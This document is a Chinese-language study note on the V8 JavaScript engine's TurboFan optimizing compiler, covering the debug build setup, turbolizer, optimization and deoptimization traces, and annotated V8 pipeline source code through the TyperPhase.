浅析 V8-turboFan

一、前言

  • v8 是一种 JS 引擎的实现,它由Google开发,使用C++编写。

    v8 被设计用于提高网页浏览器内部 JavaScript 代码执行的性能。为了提高性能,v8 将会把 JS 代码转换为更高效的机器码,而非传统的使用解释器执行。因此 v8 引入了 JIT (Just-In-Time) 机制,该机制将会在运行时动态编译 JS 代码为机器码,以提高运行速度。

  • TurboFan是 v8 的优化编译器之一,它使用了 sea of nodes 这个编译器概念。

    sea of nodes 不是单纯的指某个图的结点,它是一种特殊中间表示的图。

    它的表示形式与一般的CFG/DFG不同,其具体内容请查阅上面的连接。

    TurboFan的相关源码位于v8/compiler文件夹下。

  • 这是笔者初次学习v8 turboFan所写下的笔记,内容包括但不限于turboFan运行参数的使用、部分OptimizationPhases的工作机理,以及拿来练手的GoogleCTF 2018(Final) Just-In-Time题题解。

    该笔记基于 Introduction to TurboFan 并适当拓宽了一部分内容。如果在阅读文章时发现错误或者存在不足之处,欢迎各位师傅斧正!

二、环境搭建

  • 这里的环境搭建较为简单,首先搭配一个 v8 环境(必须,没有 v8 环境要怎么研究 v8, 2333)。这里使用的版本号是7.0.276.3

    如何搭配v8环境?请移步 下拉&编译 chromium&v8 代码

    这里需要补充一下,v8 的 gn args中必须加一个v8_untrusted_code_mitigations = false的标志,即最后使用的gn args如下:

    1
    2
    3
    4
    5
    6
    7
    8
    # Set build arguments here. See `gn help buildargs`.
    is_debug = true
    target_cpu = "x64"
    v8_enable_backtrace = true
    v8_enable_slow_dchecks = true
    v8_optimized_debug = false
    # 加上这个
    v8_untrusted_code_mitigations = false

    具体原因将在下面讲解CheckBounds结点优化时提到。

  • 然后安装一下 v8 的turbolizer,turbolizer将用于调试 v8 TurboFan中sea of nodes图的工具。

    1
    2
    3
    4
    5
    6
    7
    cd v8/tools/turbolizer
    # 获取依赖项
    npm i
    # 构建
    npm run-script build
    # 直接在turbolizer文件夹下启动静态http服务
    python -m SimpleHTTPServer

    构建turbolizer时可能会报一些TypeScript的语法错误ERROR,这些ERROR无伤大雅,不影响turbolizer的功能使用。

  • turbolizer 的使用方式如下:

    • 首先编写一段测试函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      // 目标优化函数
      function opt_me(b) {
      let values = [42,1337];
      let x = 10;
      if (b == "foo")
      x = 5;

      let y = x + 2;
      y = y + 1000;
      y = y * 2;
      y = y & 10;
      y = y / 3;
      y = y & 1;
      return values[y];
      }
      // 必须!在优化该函数前必须先进行一次编译,以便于为该函数提供type feedback
      opt_me();
      // 必须! 使用v8 natives-syntax来强制优化该函数
      %OptimizeFunctionOnNextCall(opt_me);
      // 必须! 不调用目标函数则无法执行优化
      opt_me();

      一定要在执行%OptimizeFunctionOnNextCall(opt_me)之前调用一次目标函数,否则生成的graph将会因为没有type feedback而导致完全不一样的结果

      需要注意的是type feedback有点玄学,在执行OptimizeFunctionOnNextCall前,如果目标函数内部存在一些边界操作(例如多次使用超过Number.MAX_SAFE_INTEGER大小的整数等),那么调用目标函数的方式可能会影响turboFan的功能,包括但不限于传入参数的不同、调用目标函数次数的不同等等等等。

      因此在执行%OptimizeFunctionOnNextCall前,目标函数的调用方式,必须自己把握,手动确认调用几次,传入什么参数会优化出特定的效果。

      若想优化一个函数,除了可以使用%OptimizeFunctionOnNextCall以外,还可以多次执行该函数(次数要大,建议上for循环)来触发优化。

    • 然后使用 d8 执行,不过需要加上--trace-turbo参数。

      1
      2
      3
      4
      5
      6
      $  ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-turbo   
      Concurrent recompilation has been disabled for tracing.
      ---------------------------------------------------
      Begin compiling method opt_me using Turbofan
      ---------------------------------------------------
      Finished compiling method opt_me using Turbofan

      之后本地就会生成turbo.cfgturbo-xxx-xx.json文件。

    • 使用浏览器打开127.0.0.1:8000(注意之前在turbolizer文件夹下启动了http服务)

      然后点击右上角的3号按钮,在文件选择窗口中选择刚刚生成的turbo-xxx-xx.json文件,之后就会显示以下信息:

      img

      不过这里的结点只显示了控制结点,如果需要显示全部结点,则先点击一下上方的2号按钮,将结点全部展开,之后再点击1号按钮,重新排列:

      img

三、turboFan的代码优化

  • 我们可以使用 --trace-opt参数来追踪函数的优化信息。以下是函数opt_me被turboFan优化时所生成的信息。

    1
    2
    3
    4
    $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt 
    [manually marking 0x0a7a24823759 <JSFunction opt_me (sfi = 0xa7a24823591)> for non-concurrent optimization]
    [compiling method 0x0a7a24823759 <JSFunction opt_me (sfi = 0xa7a24823591)> using TurboFan]
    [optimizing 0x0a7a24823759 <JSFunction opt_me (sfi = 0xa7a24823591)> - took 53.965, 19.410, 0.667 ms]

    上面输出中的manually marking即我们在代码中手动设置的%OptimizeFunctionOnNextCall

    我们可以使用 v8 本地语法来查看优化前和优化后的机器码(使用%DisassembleFunction本地语法)

    输出信息过长,这里只截取一部分输出。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax  

    0x2b59fe964c1: [Code]
    - map: 0x05116bd02ae9 <Map>
    kind = BUILTIN
    name = InterpreterEntryTrampoline
    compiler = unknown
    address = 0x2b59fe964c1

    Instructions (size = 995)
    0x2b59fe96500 0 488b5f27 REX.W movq rbx,[rdi+0x27]
    0x2b59fe96504 4 488b5b07 REX.W movq rbx,[rbx+0x7]
    0x2b59fe96508 8 488b4b0f REX.W movq rcx,[rbx+0xf]
    ....

    0x2b59ff49541: [Code]
    - map: 0x05116bd02ae9 <Map>
    kind = OPTIMIZED_FUNCTION
    stack_slots = 5
    compiler = turbofan
    address = 0x2b59ff49541

    Instructions (size = 212)
    0x2b59ff49580 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
    0x2b59ff49587 7 483bd9 REX.W cmpq rbx,rcx
    0x2b59ff4958a a 7418 jz 0x2b59ff495a4 <+0x24>
    0x2b59ff4958c c 48ba000000003e000000 REX.W movq rdx,0x3e00000000
    ...

    可以看到,所生成的代码长度从原先的995,优化为212,大幅度优化了代码。

    需要注意的是,即便不使用%OptimizeFunctionOnNextCall,将opt_me函数重复执行一定次数,一样可以触发TurboFan的优化。

  • 细心的小伙伴应该可以在上面环境搭建的图中看到deoptimize反优化。为什么需要反优化?这就涉及到turboFan的优化机制。以下面这个js代码为例(注意:没有使用%OptimizeFunctionOnNextCall

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    class Player{}
    class Wall{}

    function move(obj) {
    var tmp = obj.x + 42;
    var x = Math.random();
    x += 1;
    return tmp + x;
    }

    for (var i = 0; i < 0x10000; ++i) {
    move(new Player());
    }

    move(new Wall());
    for (var i = 0; i < 0x10000; ++i) {
    move(new Wall());
    }

    跟踪一下该代码的opt以及deopt:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    $ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax  --trace-opt --trace-deopt 
    [marking 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)]
    [compiling method 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> using TurboFan]
    [optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> - took 6.583, 2.385, 0.129 ms]
    [completed optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)>]
    # 分割线---------------------------------------------------------------------
    [marking 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> for optimized recompilation, reason: hot and stable, ICs with typeinfo: 7/13 (53%), generic ICs: 0/13 (0%)]
    [compiling method 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> using TurboFan OSR]
    [optimizing 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> - took 3.684, 7.337, 0.409 ms]
    # 分割线---------------------------------------------------------------------
    [deoptimizing (DEOPT soft): begin 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> (opt #1) @6, FP to SP delta: 104, caller sp: 0x7ffed15d2a08]
    ;;; deoptimize at <test.js:15:6>, Insufficient type feedback for construct
    ...

    [deoptimizing (soft): end 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> @6 => node=154, pc=0x7f0d956522e0, caller sp=0x7ffed15d2a08, took 0.496 ms]
    [deoptimizing (DEOPT eager): begin 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> (opt #0) @1, FP to SP delta: 24, caller sp: 0x7ffed15d2990]
    ;;; deoptimize at <test.js:5:17>, wrong map
    ...

    [deoptimizing (eager): end 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> @1 => node=0, pc=0x7f0d956522e0, caller sp=0x7ffed15d2990, took 0.355 ms]
    # 分割线---------------------------------------------------------------------
    [marking 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)]
    [compiling method 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> using TurboFan]
    [optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> - took 1.435, 2.427, 0.159 ms]
    [completed optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)>]
    [compiling method 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> using TurboFan OSR]
    [optimizing 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> - took 3.399, 6.299, 0.239 ms]
    • 首先,move函数被标记为可优化的(optimized recompilation),原因是该函数为small function。然后便开始重新编译以及优化。
    • 之后,move函数再一次被标记为可优化的,原因是hot and stable。这是因为 v8 首先生成的是 ignition bytecode。 如果某个函数被重复执行多次,那么TurboFan就会重新生成一些优化后的代码。

    以下是获取优化理由的的v8代码。如果该JS函数可被优化,则将在外部的v8函数中,mark该JS函数为待优化的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    OptimizationReason RuntimeProfiler::ShouldOptimize(JSFunction* function,
    JavaScriptFrame* frame) {
    SharedFunctionInfo* shared = function->shared();
    int ticks = function->feedback_vector()->profiler_ticks();

    if (shared->GetBytecodeArray()->length() > kMaxBytecodeSizeForOpt) {
    return OptimizationReason::kDoNotOptimize;
    }

    int ticks_for_optimization =
    kProfilerTicksBeforeOptimization +
    (shared->GetBytecodeArray()->length() / kBytecodeSizeAllowancePerTick);
    // 如果执行次数较多,则标记为HotAndStable
    if (ticks >= ticks_for_optimization) {
    return OptimizationReason::kHotAndStable;
    // 如果函数较小,则为 small function
    } else if (!any_ic_changed_ && shared->GetBytecodeArray()->length() <
    kMaxBytecodeSizeForEarlyOpt) {
    // If no IC was patched since the last tick and this function is very
    // small, optimistically optimize it now.
    return OptimizationReason::kSmallFunction;
    } else if (FLAG_trace_opt_verbose) {
    PrintF("[not yet optimizing ");
    function->PrintName();
    PrintF(", not enough ticks: %d/%d and ", ticks,
    kProfilerTicksBeforeOptimization);
    if (any_ic_changed_) {
    PrintF("ICs changed]\n");
    } else {
    PrintF(" too large for small function optimization: %d/%d]\n",
    shared->GetBytecodeArray()->length(), kMaxBytecodeSizeForEarlyOpt);
    }
    }
    return OptimizationReason::kDoNotOptimize;
    }
    • 但接下来就开始deopt move函数了,原因是Insufficient type feedback for construct,目标代码是move(new Wall())中的new Wall()

      这是因为turboFan的代码优化基于推测,即speculative optimizations。当我们多次执行move(new Player())时,turboFan会猜测move函数的参数总是Player对象,因此将move函数优化为更适合Player对象执行的代码,这样使得Player对象使用move函数时速度将会很快。

      这种猜想机制需要一种反馈来动态修改猜想,那么这种反馈就是 type feedback,Ignition instructions将利用 type feedback来帮助TurboFan的speculative optimizations

      v8源码中,JSFunction类中存在一个类型为FeedbackVector的成员变量,该FeedbackVector将在JS函数被编译后启用。

      因此一旦传入的参数不再是Player类型,即刚刚所说的Wall类型,那么将会使得猜想不成立,因此立即反优化,即销毁一部分的ignition bytecode并重新生成

      需要注意的是,反优化机制(deoptimization)有着巨大的性能成本,应尽量避免反优化的产生。

    • 下一个deopt的原因为wrong map。这里的map可以暂时理解为类型。与上一条deopt的原因类似,所生成的move优化函数只是针对于Player对象,因此一旦传入一个Wall对象,那么传入的类型就与函数中的类型不匹配,所以只能开始反优化。

    • 如果我们在代码中来回使用Player对象和Wall对象,那么TurboFan也会综合考虑,并相应的再次优化代码。

四、turboFan的执行流程

  • turboFan的代码优化有多条执行流,其中最常见到的是下面这条:
    img

  • Runtime_CompileOptimized_Concurrent函数开始,设置并行编译&优化 特定的JS函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // v8\src\runtime\runtime-compiler.cc 46
    RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
    HandleScope scope(isolate);
    DCHECK_EQ(1, args.length());
    CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
    StackLimitCheck check(isolate);
    if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
    return isolate->StackOverflow();
    }
    // 设置并行模式,之后开始编译与优化
    if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
    return ReadOnlyRoots(isolate).exception();
    }
    DCHECK(function->is_compiled());
    return function->code();
    }
  • Compiler::CompileOptimized函数中,继续执行GetOptimizedCode函数,并将可能生成的优化代码传递给JSFunction对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    // v8\src\compiler.cc
    bool Compiler::CompileOptimized(Handle<JSFunction> function,
    ConcurrencyMode mode) {
    if (function->IsOptimized()) return true;
    Isolate* isolate = function->GetIsolate();
    DCHECK(AllowCompilation::IsAllowed(isolate));

    // Start a compilation.
    Handle<Code> code;
    if (!GetOptimizedCode(function, mode).ToHandle(&code)) {
    // Optimization failed, get unoptimized code. Unoptimized code must exist
    // already if we are optimizing.
    DCHECK(!isolate->has_pending_exception());
    DCHECK(function->shared()->is_compiled());
    DCHECK(function->shared()->IsInterpreted());
    code = BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
    }

    // Install code on closure.
    function->set_code(*code);

    // Check postconditions on success.
    DCHECK(!isolate->has_pending_exception());
    DCHECK(function->shared()->is_compiled());
    DCHECK(function->is_compiled());
    DCHECK_IMPLIES(function->HasOptimizationMarker(),
    function->IsInOptimizationQueue());
    DCHECK_IMPLIES(function->HasOptimizationMarker(),
    function->ChecksOptimizationMarker());
    DCHECK_IMPLIES(function->IsInOptimizationQueue(),
    mode == ConcurrencyMode::kConcurrent);
    return true;
    }
  • GetOptimizedCode的函数代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    // v8\src\compiler.cc
    MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
    ConcurrencyMode mode,
    BailoutId osr_offset = BailoutId::None(),
    JavaScriptFrame* osr_frame = nullptr) {
    Isolate* isolate = function->GetIsolate();
    Handle<SharedFunctionInfo> shared(function->shared(), isolate);

    // Make sure we clear the optimization marker on the function so that we
    // don't try to re-optimize.
    if (function->HasOptimizationMarker()) {
    function->ClearOptimizationMarker();
    }

    if (isolate->debug()->needs_check_on_function_call()) {
    // Do not optimize when debugger needs to hook into every call.
    return MaybeHandle<Code>();
    }

    Handle<Code> cached_code;
    if (GetCodeFromOptimizedCodeCache(function, osr_offset)
    .ToHandle(&cached_code)) {
    if (FLAG_trace_opt) {
    PrintF("[found optimized code for ");
    function->ShortPrint();
    if (!osr_offset.IsNone()) {
    PrintF(" at OSR AST id %d", osr_offset.ToInt());
    }
    PrintF("]\n");
    }
    return cached_code;
    }

    // Reset profiler ticks, function is no longer considered hot.
    DCHECK(shared->is_compiled());
    function->feedback_vector()->set_profiler_ticks(0);

    VMState<COMPILER> state(isolate);
    DCHECK(!isolate->has_pending_exception());
    PostponeInterruptsScope postpone(isolate);
    bool has_script = shared->script()->IsScript();
    // BUG(5946): This DCHECK is necessary to make certain that we won't
    // tolerate the lack of a script without bytecode.
    DCHECK_IMPLIES(!has_script, shared->HasBytecodeArray());
    std::unique_ptr<OptimizedCompilationJob> job(
    compiler::Pipeline::NewCompilationJob(isolate, function, has_script));
    OptimizedCompilationInfo* compilation_info = job->compilation_info();

    compilation_info->SetOptimizingForOsr(osr_offset, osr_frame);

    // Do not use TurboFan if we need to be able to set break points.
    if (compilation_info->shared_info()->HasBreakInfo()) {
    compilation_info->AbortOptimization(BailoutReason::kFunctionBeingDebugged);
    return MaybeHandle<Code>();
    }

    // Do not use TurboFan when %NeverOptimizeFunction was applied.
    if (shared->optimization_disabled() &&
    shared->disable_optimization_reason() ==
    BailoutReason::kOptimizationDisabledForTest) {
    compilation_info->AbortOptimization(
    BailoutReason::kOptimizationDisabledForTest);
    return MaybeHandle<Code>();
    }

    // Do not use TurboFan if optimization is disabled or function doesn't pass
    // turbo_filter.
    if (!FLAG_opt || !shared->PassesFilter(FLAG_turbo_filter)) {
    compilation_info->AbortOptimization(BailoutReason::kOptimizationDisabled);
    return MaybeHandle<Code>();
    }

    TimerEventScope<TimerEventOptimizeCode> optimize_code_timer(isolate);
    RuntimeCallTimerScope runtimeTimer(isolate,
    RuntimeCallCounterId::kOptimizeCode);
    TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.OptimizeCode");

    // In case of concurrent recompilation, all handles below this point will be
    // allocated in a deferred handle scope that is detached and handed off to
    // the background thread when we return.
    base::Optional<CompilationHandleScope> compilation;
    if (mode == ConcurrencyMode::kConcurrent) {
    compilation.emplace(isolate, compilation_info);
    }

    // All handles below will be canonicalized.
    CanonicalHandleScope canonical(isolate);

    // Reopen handles in the new CompilationHandleScope.
    compilation_info->ReopenHandlesInNewHandleScope(isolate);

    if (mode == ConcurrencyMode::kConcurrent) {
    if (GetOptimizedCodeLater(job.get(), isolate)) {
    job.release(); // The background recompile job owns this now.

    // Set the optimization marker and return a code object which checks it.
    function->SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
    DCHECK(function->IsInterpreted() ||
    (!function->is_compiled() && function->shared()->IsInterpreted()));
    DCHECK(function->shared()->HasBytecodeArray());
    return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
    }
    } else {
    if (GetOptimizedCodeNow(job.get(), isolate))
    return compilation_info->code();
    }

    if (isolate->has_pending_exception()) isolate->clear_pending_exception();
    return MaybeHandle<Code>();
    }

    函数代码有点长,这里总结一下所做的操作:

    • 如果之前该函数被mark为待优化的,则取消该mark(回想一下--trace-opt的输出)

    • 如果debugger需要hook该函数,或者在该函数上下了断点,则不优化该函数,直接返回。

    • 如果之前已经优化过该函数(存在OptimizedCodeCache),则直接返回之前优化后的代码。

    • 重置当前函数的profiler ticks,使得该函数不再hot,这样做的目的是使当前函数不被重复优化。

    • 如果设置了一些禁止优化的参数(例如%NeverOptimizeFunction,或者设置了turbo_filter),则取消当前函数的优化。

    • 以上步骤完成后则开始优化代码,优化代码也有两种不同的方式,分别是并行优化非并行优化。在大多数情况下执行的都是并行优化,因为速度更快。

      并行优化会先执行GetOptimizedCodeLater函数,在该函数中判断一些异常条件,例如任务队列已满或者内存占用过高。如果没有异常条件,则执行OptimizedCompilationJob::PrepareJob函数,并继续在更深层次的调用PipelineImpl::CreateGraph建图

      如果GetOptimizedCodeLater函数工作正常,则将会把优化任务Job放入任务队列中。任务队列将安排另一个线程执行优化操作。

      另一个线程的栈帧如下,该线程将执行Job->ExecuteJob并在更深层次调用PipelineImpl::OptimizeGraph优化之前建立的图结构

      img

      当另一个线程在优化代码时,主线程可以继续执行其他任务:

      img

  • 综上我们可以得知,JIT最终的优化位于PipelineImpl类中,包括建图以及优化图等

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    // v8\src\compiler\pipeline.cc
    class PipelineImpl final {
    public:
    explicit PipelineImpl(PipelineData* data) : data_(data) {}

    // Helpers for executing pipeline phases.
    template <typename Phase>
    void Run();
    template <typename Phase, typename Arg0>
    void Run(Arg0 arg_0);
    template <typename Phase, typename Arg0, typename Arg1>
    void Run(Arg0 arg_0, Arg1 arg_1);

    // Step A. Run the graph creation and initial optimization passes.
    bool CreateGraph();

    // B. Run the concurrent optimization passes.
    bool OptimizeGraph(Linkage* linkage);

    // Substep B.1. Produce a scheduled graph.
    void ComputeScheduledGraph();

    // Substep B.2. Select instructions from a scheduled graph.
    bool SelectInstructions(Linkage* linkage);

    // Step C. Run the code assembly pass.
    void AssembleCode(Linkage* linkage);

    // Step D. Run the code finalization pass.
    MaybeHandle<Code> FinalizeCode();

    // Step E. Install any code dependencies.
    bool CommitDependencies(Handle<Code> code);

    void VerifyGeneratedCodeIsIdempotent();
    void RunPrintAndVerify(const char* phase, bool untyped = false);
    MaybeHandle<Code> GenerateCode(CallDescriptor* call_descriptor);
    void AllocateRegisters(const RegisterConfiguration* config,
    CallDescriptor* call_descriptor, bool run_verifier);

    OptimizedCompilationInfo* info() const;
    Isolate* isolate() const;
    CodeGenerator* code_generator() const;

    private:
    PipelineData* const data_;
    };

五、初探optimization phases

1. 简介

与LLVM IR的各种Pass类似,turboFan中使用各类phases进行建图、搜集信息以及简化图。

以下是PipelineImpl::CreateGraph函数源码,其中使用了大量的Phase。这些Phase有些用于建图,有些用于优化(在建图时也会执行一部分简单的优化),还有些为接下来的优化做准备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
bool PipelineImpl::CreateGraph() {
PipelineData* data = this->data_;

data->BeginPhaseKind("graph creation");

if (info()->trace_turbo_json_enabled() ||
info()->trace_turbo_graph_enabled()) {
CodeTracer::Scope tracing_scope(data->GetCodeTracer());
OFStream os(tracing_scope.file());
os << "---------------------------------------------------\n"
<< "Begin compiling method " << info()->GetDebugName().get()
<< " using Turbofan" << std::endl;
}
if (info()->trace_turbo_json_enabled()) {
TurboCfgFile tcf(isolate());
tcf << AsC1VCompilation(info());
}

data->source_positions()->AddDecorator();
if (data->info()->trace_turbo_json_enabled()) {
data->node_origins()->AddDecorator();
}

Run<GraphBuilderPhase>();
RunPrintAndVerify(GraphBuilderPhase::phase_name(), true);

// Perform function context specialization and inlining (if enabled).
Run<InliningPhase>();
RunPrintAndVerify(InliningPhase::phase_name(), true);

// Remove dead->live edges from the graph.
Run<EarlyGraphTrimmingPhase>();
RunPrintAndVerify(EarlyGraphTrimmingPhase::phase_name(), true);

// Run the type-sensitive lowerings and optimizations on the graph.
{
// Determine the Typer operation flags.
Typer::Flags flags = Typer::kNoFlags;
if (is_sloppy(info()->shared_info()->language_mode()) &&
info()->shared_info()->IsUserJavaScript()) {
// Sloppy mode functions always have an Object for this.
flags |= Typer::kThisIsReceiver;
}
if (IsClassConstructor(info()->shared_info()->kind())) {
// Class constructors cannot be [[Call]]ed.
flags |= Typer::kNewTargetIsReceiver;
}

// Type the graph and keep the Typer running on newly created nodes within
// this scope; the Typer is automatically unlinked from the Graph once we
// leave this scope below.
Typer typer(isolate(), data->js_heap_broker(), flags, data->graph());
Run<TyperPhase>(&typer);
RunPrintAndVerify(TyperPhase::phase_name());

// Do some hacky things to prepare for the optimization phase.
// (caching handles, etc.).
Run<ConcurrentOptimizationPrepPhase>();

if (FLAG_concurrent_compiler_frontend) {
data->js_heap_broker()->SerializeStandardObjects();
Run<CopyMetadataForConcurrentCompilePhase>();
}

// Lower JSOperators where we can determine types.
Run<TypedLoweringPhase>();
RunPrintAndVerify(TypedLoweringPhase::phase_name());
}

data->EndPhaseKind();

return true;
}

PipelineImpl::OptimizeGraph函数代码如下,该函数将会对所建立的图进行优化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
PipelineData* data = this->data_;

data->BeginPhaseKind("lowering");

if (data->info()->is_loop_peeling_enabled()) {
Run<LoopPeelingPhase>();
RunPrintAndVerify(LoopPeelingPhase::phase_name(), true);
} else {
Run<LoopExitEliminationPhase>();
RunPrintAndVerify(LoopExitEliminationPhase::phase_name(), true);
}

if (FLAG_turbo_load_elimination) {
Run<LoadEliminationPhase>();
RunPrintAndVerify(LoadEliminationPhase::phase_name());
}

if (FLAG_turbo_escape) {
Run<EscapeAnalysisPhase>();
if (data->compilation_failed()) {
info()->AbortOptimization(
BailoutReason::kCyclicObjectStateDetectedInEscapeAnalysis);
data->EndPhaseKind();
return false;
}
RunPrintAndVerify(EscapeAnalysisPhase::phase_name());
}

// Perform simplified lowering. This has to run w/o the Typer decorator,
// because we cannot compute meaningful types anyways, and the computed types
// might even conflict with the representation/truncation logic.
Run<SimplifiedLoweringPhase>();
RunPrintAndVerify(SimplifiedLoweringPhase::phase_name(), true);

// From now on it is invalid to look at types on the nodes, because the types
// on the nodes might not make sense after representation selection due to the
// way we handle truncations; if we'd want to look at types afterwards we'd
// essentially need to re-type (large portions of) the graph.

// In order to catch bugs related to type access after this point, we now
// remove the types from the nodes (currently only in Debug builds).
#ifdef DEBUG
Run<UntyperPhase>();
RunPrintAndVerify(UntyperPhase::phase_name(), true);
#endif

// Run generic lowering pass.
Run<GenericLoweringPhase>();
RunPrintAndVerify(GenericLoweringPhase::phase_name(), true);

data->BeginPhaseKind("block building");

// Run early optimization pass.
Run<EarlyOptimizationPhase>();
RunPrintAndVerify(EarlyOptimizationPhase::phase_name(), true);

Run<EffectControlLinearizationPhase>();
RunPrintAndVerify(EffectControlLinearizationPhase::phase_name(), true);

if (FLAG_turbo_store_elimination) {
Run<StoreStoreEliminationPhase>();
RunPrintAndVerify(StoreStoreEliminationPhase::phase_name(), true);
}

// Optimize control flow.
if (FLAG_turbo_cf_optimization) {
Run<ControlFlowOptimizationPhase>();
RunPrintAndVerify(ControlFlowOptimizationPhase::phase_name(), true);
}

// Optimize memory access and allocation operations.
Run<MemoryOptimizationPhase>();
// TODO(jarin, rossberg): Remove UNTYPED once machine typing works.
RunPrintAndVerify(MemoryOptimizationPhase::phase_name(), true);

// Lower changes that have been inserted before.
Run<LateOptimizationPhase>();
// TODO(jarin, rossberg): Remove UNTYPED once machine typing works.
RunPrintAndVerify(LateOptimizationPhase::phase_name(), true);

data->source_positions()->RemoveDecorator();
if (data->info()->trace_turbo_json_enabled()) {
data->node_origins()->RemoveDecorator();
}

ComputeScheduledGraph();

return SelectInstructions(linkage);
}

由于上面两个函数涉及到的Phase众多,这里请各位自行阅读源码来了解各个Phase的具体功能。

接下来我们只介绍几个比较重要的PhasesGraphBuilderPhaseTyperPhaseSimplifiedLoweringPhase

2. GraphBuilderPhase

  • GraphBuilderPhase将遍历字节码,并建一个初始的图,这个图将用于接下来Phase的处理,包括但不限于各种代码优化。

  • 一个简单的例子

    img

3. TyperPhase

  • TyperPhase将会遍历整个图的所有结点,并给每个结点设置一个Type属性,该操作将在建图完成后被执行

    给每个结点设置Type的操作是不是极其类似于编译原理中的语义分析呢? XD

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    bool PipelineImpl::CreateGraph() {
    // ...
    Run<GraphBuilderPhase>();
    RunPrintAndVerify(GraphBuilderPhase::phase_name(), true);
    // ...
    // Run the type-sensitive lowerings and optimizations on the graph.
    {
    // ...

    // Type the graph and keep the Typer running on newly created nodes within
    // this scope; the Typer is automatically unlinked from the Graph once we
    // leave this scope below.
    Typer typer(isolate(), data->js_heap_broker(), flags, data->graph());
    Run<TyperPhase>(&typer);
    RunPrintAndVerify(TyperPhase::phase_name());

    // ...
    }
    // ...
    }

    其中,具体执行的是TyperPhase::Run函数:

    1
    2
    3
    4
    5
    6
    7
    8
    struct TyperPhase {
    static const char* phase_name() { return "typer"; }

    void Run(PipelineData* data, Zone* temp_zone, Typer* typer) {
    // ...
    typer->Run(roots, &induction_vars);
    }
    };

